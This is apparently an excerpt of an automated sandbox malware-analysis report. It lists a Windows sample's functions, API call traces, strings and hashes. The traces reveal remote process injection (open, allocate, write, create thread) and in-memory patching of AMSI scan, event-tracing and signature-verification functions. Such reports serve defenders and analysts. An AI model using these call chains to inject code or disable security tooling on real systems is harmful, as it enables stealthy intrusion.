                                    • String ID: .url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\Libraries$C:\Windows\SysWOW64$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$DEEX$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$ScanBuffer$ScanString$SetUnhandledExceptionFilter$TrustOpenStores$URL=file:"$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$^^Nc$acS$advapi32$bcrypt$can$connect$endpointdlp$http$iexpress.exe$kernel32$mssip32$ntdll$psapi$smartscreenps$sppc$wintrust$ws2_32
                                    • API String ID: 4264289965-2619485538
                                    • Opcode ID: 824e7beebc6a7911c53fa510443758db8960fc01160d4bcac2900fd12cb4acac
                                    • Instruction ID: a8957216681eb8ee16b43faadaad05b184d1377abb15e74346dd286ab475861c
                                    • Opcode Fuzzy Hash: 824e7beebc6a7911c53fa510443758db8960fc01160d4bcac2900fd12cb4acac
                                    • Instruction Fuzzy Hash: 06D32135A045588FDF26FB64DC90ADEB3BEEF88300F6085E29509A7205DE74AE85DF50
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCA6A0 Relevance: 69.8, APIs: 19, Strings: 20, Instructions: 1543nativelibraryloaderCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CC7B74: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BAC
                                      • Part of subcall function 02CC7B74: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BBA
                                      • Part of subcall function 02CC7B74: GetProcAddress.KERNEL32(74180000,00000000), ref: 02CC7BD3
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BEC
                                      • Part of subcall function 02CC7B74: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BF2
                                      • Part of subcall function 02CC7B74: GetCurrentProcess.KERNEL32(02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C1C
                                      • Part of subcall function 02CC7B74: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C22
                                      • Part of subcall function 02CC7B74: FreeLibrary.KERNEL32(74180000,00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000), ref: 02CC7C2D
                                    • GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtOpenProcess,ScanString,02CEE53C,02CCC040,ScanBuffer,02CEE53C,02CCC040,UacInitialize,02CEE53C,02CCC040,ScanString,02CEE53C,02CCC040,UacInitialize,02CEE53C), ref: 02CCA97A
                                    • GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02CCA980
                                    • NtOpenProcess.NTDLL(02CEE534,001F0FFF,02CEE324,02CEE33C), ref: 02CCA99C
                                      • Part of subcall function 02CB2EE0: QueryPerformanceCounter.KERNEL32 ref: 02CB2EE4
                                    • GetCurrentProcess.KERNEL32(00000000,00000000,?,?,?,?,00000062,00000000,00000000), ref: 02CCAC06
                                      • Part of subcall function 02CC79BC: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02CC79C9
                                      • Part of subcall function 02CC79BC: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02CC79CF
                                      • Part of subcall function 02CC79BC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CC79EF
                                    • IsBadReadPtr.KERNEL32(0F5D0000,00000040,?,?,00000062,00000000,00000000), ref: 02CCADA2
                                    • IsBadReadPtr.KERNEL32(?,000000F8,0F5D0000,00000040,?,?,00000062,00000000,00000000), ref: 02CCADCF
                                    • GetCurrentProcess.KERNEL32(00000000,0BE37200,00003000,00000040,?,000000F8,0F5D0000,00000040,?,?,00000062,00000000,00000000), ref: 02CCAE26
                                    • GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtWriteVirtualMemory,ScanBuffer,02CEE53C,02CCC040,UacInitialize,02CEE53C,02CCC040,ScanString,02CEE53C,02CCC040,ScanBuffer,02CEE53C,02CCC040,OpenSession,02CEE53C), ref: 02CCB751
                                    • GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02CCB757
                                    • NtWriteVirtualMemory.NTDLL(062F0000,062F0000,100B0000,0BE37200,00000000,ScanBuffer,02CEE53C,02CCC040,OpenSession,02CEE53C,02CCC040,UacInitialize,02CEE53C,02CCC040,00000000,C:\Windows\System32\ntdll.dll), ref: 02CCB8D9
                                    • GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,RtlCreateUserThread,ScanBuffer,02CEE53C,02CCC040,?,?,00000062,00000000,00000000), ref: 02CCB956
                                    • GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02CCB95C
                                    • RtlCreateUserThread.NTDLL(062F15CF,00000000,00000000,00000000,00000000,00000000,062F15CF,00000000,02CEE510,00000000,OpenSession,02CEE53C,02CCC040,ScanBuffer,02CEE53C,02CCC040), ref: 02CCBBD3
                                    • CloseHandle.KERNEL32(000005E8,ScanBuffer,02CEE53C,02CCC040,?,?,00000062,00000000,00000000), ref: 02CCBC5D
                                    • NtFreeVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(062F0000,062F0000,0BE37200,00004000,OpenSession,02CEE53C,02CCC040,ScanString,02CEE53C,02CCC040,UacInitialize,02CEE53C,02CCC040,OpenSession,02CEE53C,02CCC040), ref: 02CCBDCE
                                    • GetCurrentProcess.KERNEL32(100B0000,0BE37200,00004000,?,000000F8,0F5D0000,00000040,?,?,00000062,00000000,00000000), ref: 02CCBDE4
                                    • NtFreeVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,100B0000,0BE37200,00004000,?,000000F8,0F5D0000,00000040,?,?,00000062,00000000,00000000), ref: 02CCBDEA
                                    • GetCurrentProcess.KERNEL32(0F5D0000,00000000,?,?,00000062,00000000,00000000), ref: 02CCBE02
                                    • NtFreeVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0F5D0000,00000000,?,?,00000062,00000000,00000000), ref: 02CCBE08
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: MemoryProcessVirtual$CurrentHandle$AddressModuleProc$Free$LibraryReadWrite$AllocateCloseCounterCreateLoadOpenPerformanceProtectQueryThreadUser
                                    • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Windows\System32\ntdll.dll$I_QueryTagInformation$Initialize$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$NtWriteVirtualMemory$OpenSession$RtlCreateUserThread$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$ntdll
                                    • API String ID: 228212519-530569836
                                    • Opcode ID: 6db46fd3ba71199e8703a3afef5f848888c5ec50eea2406cd3b6687c90c738b6
                                    • Instruction ID: 4f4f3dd99be47c5ed73040cb89b413cc8e630ccab18e226c9b6aaeeed0d8f061
                                    • Opcode Fuzzy Hash: 6db46fd3ba71199e8703a3afef5f848888c5ec50eea2406cd3b6687c90c738b6
                                    • Instruction Fuzzy Hash: ABD22231A041589FDF26EB64DCA0FDEB3BAAF49310F2041A6D009BB615DA34EE46DF51
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB5A90 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184registrystringlibraryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000105,02CB0000,02CD9790), ref: 02CB5AAC
                                    • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02CB0000,02CD9790), ref: 02CB5ACA
                                    • RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02CB0000,02CD9790), ref: 02CB5AE8
                                    • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02CB5B06
                                    • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02CB5B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02CB5B4F
                                    • RegQueryValueExA.ADVAPI32(?,02CB5CFC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02CB5B95,?,80000001), ref: 02CB5B6D
                                    • RegCloseKey.ADVAPI32(?,02CB5B9C,00000000,?,?,00000000,02CB5B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02CB5B8F
                                    • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02CB5BAC
                                    • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02CB5BB9
                                    • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02CB5BBF
                                    • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02CB5BEA
                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02CB5C31
                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02CB5C41
                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02CB5C69
                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02CB5C79
                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02CB5C9F
                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02CB5CAF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
                                    • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                    • API String ID: 1759228003-2375825460
                                    • Opcode ID: ad47d9cf9ee3f6a575d04f1bfa962ad22ddc5bce7da535858f1e12c719c70492
                                    • Instruction ID: 482a0e2ca6cb048eeb0918d2303975e0e91d5e50b39d431c6100a4e30fbe785a
                                    • Opcode Fuzzy Hash: ad47d9cf9ee3f6a575d04f1bfa962ad22ddc5bce7da535858f1e12c719c70492
                                    • Instruction Fuzzy Hash: 8551B5B1E4025C7EFB26D6E4CC46FEF77AD9F48780F8401A1A604E6181E7B49B448FA1
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CC7B74 Relevance: 12.1, APIs: 8, Instructions: 65librarynativeloaderCOMMON
                                    Download Yara Rule
                                    APIs
                                    • LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BAC
                                    • GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BBA
                                    • GetProcAddress.KERNEL32(74180000,00000000), ref: 02CC7BD3
                                    • GetCurrentProcess.KERNEL32(02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BEC
                                    • NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000,02CC7C4D), ref: 02CC7BF2
                                    • GetCurrentProcess.KERNEL32(02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C1C
                                    • NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000,00000000), ref: 02CC7C22
                                    • FreeLibrary.KERNEL32(74180000,00000000,02CEE348,02CB6738,00000004,02CEE34C,00000000,02CEE348,00000004,00000040,00000004,74180000,00000000,00000000,00000000,00000000), ref: 02CC7C2D
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: CurrentLibraryMemoryProcessVirtual$AddressFreeHandleLoadModuleProcProtectWrite
                                    • String ID:
                                    • API String ID: 1488642996-0
                                    • Opcode ID: b0a42e24f464a74bf4879c444ac3419e4a884c2e306cc42f89c05090267ea5f2
                                    • Instruction ID: f03a3db16f7fa3436b0b7e9ac7915dd8cd243537fcdb317f20441d787c352f8f
                                    • Opcode Fuzzy Hash: b0a42e24f464a74bf4879c444ac3419e4a884c2e306cc42f89c05090267ea5f2
                                    • Instruction Fuzzy Hash: 6E1151B0A44344AAFB15FBB8CC52F9D77AEEF49710F640474B208BB640C6349910EF14
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CC7B14 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40librarynativeloaderCOMMON
                                    Download Yara Rule
                                    APIs
                                    • LoadLibraryW.KERNEL32(bcrypt,02CC9EF8,Initialize,02CEE354,02CC9EF8,UacScan,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8,00000000,02CEE3D0,ScanString,02CEE354,02CC9EF8), ref: 02CC7B26
                                    • GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02CC7B33
                                    • NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,02CC9EF8,Initialize,02CEE354,02CC9EF8,UacScan,02CEE354,02CC9EF8,UacInitialize), ref: 02CC7B4A
                                    • FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,02CC9EF8,Initialize,02CEE354,02CC9EF8,UacScan,02CEE354,02CC9EF8,UacInitialize,02CEE354,02CC9EF8,00000000,02CEE3D0), ref: 02CC7B59
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
                                    • String ID: BCryptVerifySignature$bcrypt
                                    • API String ID: 1002360270-4067648912
                                    • Opcode ID: b7d0e8bf17f3accd73c6cfd1804df03ed0cdce2c0fde77109c278fdfae1b2285
                                    • Instruction ID: 0e08d6b08479ca840c6960e6d0390130154834a858236a30174fe95cbdf2e995
                                    • Opcode Fuzzy Hash: b7d0e8bf17f3accd73c6cfd1804df03ed0cdce2c0fde77109c278fdfae1b2285
                                    • Instruction Fuzzy Hash: 6CF0E27260A2546EE22161799C40EBFA79DCFC27B0F24463DFA548B180DB7189099BF2
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CC79BC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23librarymemorynativeCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 02CC79C9
                                    • GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02CC79CF
                                    • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CC79EF
                                    Strings
                                    • C:\Windows\System32\ntdll.dll, xrefs: 02CC79C4
                                    • NtAllocateVirtualMemory, xrefs: 02CC79BF
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AddressAllocateHandleMemoryModuleProcVirtual
                                    • String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
                                    • API String ID: 421316089-2206134580
                                    • Opcode ID: bfb913f99ab349aef2d9e6e81c2df302a3e49d54bcf31c728fe1e902ef7a1102
                                    • Instruction ID: 1806a077afa18299496406b9d0a244ed629e3d298cab70610dc0bd73bdc85121
                                    • Opcode Fuzzy Hash: bfb913f99ab349aef2d9e6e81c2df302a3e49d54bcf31c728fe1e902ef7a1102
                                    • Instruction Fuzzy Hash: 3BE01AB664020DFFEB00DEA8DC41ECB37ACEB08650F104525BA09DB100C630E5108BB4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CC7A50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22librarynativeloaderCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtProtectVirtualMemory), ref: 02CC7A5D
                                    • GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02CC7A63
                                    • NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(?,?,?,?,?,00000000,C:\Windows\System32\ntdll.dll,NtProtectVirtualMemory), ref: 02CC7A81
                                    Strings
                                    • NtProtectVirtualMemory, xrefs: 02CC7A53
                                    • C:\Windows\System32\ntdll.dll, xrefs: 02CC7A58
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AddressHandleMemoryModuleProcProtectVirtual
                                    • String ID: C:\Windows\System32\ntdll.dll$NtProtectVirtualMemory
                                    • API String ID: 1550029230-1386159242
                                    • Opcode ID: b1b6f3331a5dc07393a9ea2a7a990ab57ecd33566c868a92191d03a5a2b7b067
                                    • Instruction ID: f6f1e3b6da9c205e4fcd1e2872494ac2c0d86786e59aeb52833e0d615cfca6de
                                    • Opcode Fuzzy Hash: b1b6f3331a5dc07393a9ea2a7a990ab57ecd33566c868a92191d03a5a2b7b067
                                    • Instruction Fuzzy Hash: 1AE0B6B6A80209AF9B44DEADEC45ECB77ECAB08650B104419FA09D7200C631E9619F74
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCCB94 Relevance: 7.6, APIs: 5, Instructions: 80nativefileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CB4EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02CB4EF2
                                    • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CCCC64), ref: 02CCCBCF
                                    • NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02CCCC64), ref: 02CCCBFF
                                    • NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02CCCC14
                                    • NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02CCCC40
                                    • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02CCCC49
                                      • Part of subcall function 02CB4C24: SysFreeString.OLEAUT32(02CCD6B8), ref: 02CB4C32
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
                                    • String ID:
                                    • API String ID: 1897104825-0
                                    • Opcode ID: 6d6d3b2d0421e2be767964fe15254aeb9358472581329f442aaae7b899b18b5c
                                    • Instruction ID: a4ba43048a4938c92814c0adedab60defbfe3afebf3dc368d61f0c44a6fea3b4
                                    • Opcode Fuzzy Hash: 6d6d3b2d0421e2be767964fe15254aeb9358472581329f442aaae7b899b18b5c
                                    • Instruction Fuzzy Hash: A9212171A407097AEB15EAE4CC52FDEB7ADEF08B00F600466F600F71C0DAB4AA049B94
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCCAB0 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CB4EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 02CB4EF2
                                    • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CCCB82), ref: 02CCCAEF
                                    • NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02CCCB29
                                    • NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02CCCB56
                                    • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02CCCB5F
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FilePath$AllocCloseCreateNameName_StringWrite
                                    • String ID:
                                    • API String ID: 3764614163-0
                                    • Opcode ID: 680f128965d3c4d83168e8731ed40c92606bb0e7374556db9a582870a3dda4bb
                                    • Instruction ID: 934bf1f9e247aba4b4cc858c34c3174ec0b8b194b853449545bfe4c000a4b81d
                                    • Opcode Fuzzy Hash: 680f128965d3c4d83168e8731ed40c92606bb0e7374556db9a582870a3dda4bb
                                    • Instruction Fuzzy Hash: 0D210C71E44209BAEB21EAE4CC92FDEB3BDEF04B00F604466F604F61C0D6B06F049A64
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CC6DC0 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CC6D64: CLSIDFromProgID.OLE32(00000000,?,00000000,02CC6DB1,?,?,?,00000000), ref: 02CC6D91
                                    • CoCreateInstance.OLE32(?,00000000,00000005,02CC6EA4,00000000,00000000,02CC6E23,?,00000000,02CC6E93), ref: 02CC6E0F
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: CreateFromInstanceProg
                                    • String ID:
                                    • API String ID: 2151042543-0
                                    • Opcode ID: 2d482228ad5078a5d01f00d5e8ca9c1c5ab5f7bce2d7e92f2bfcc2ef3d9a001e
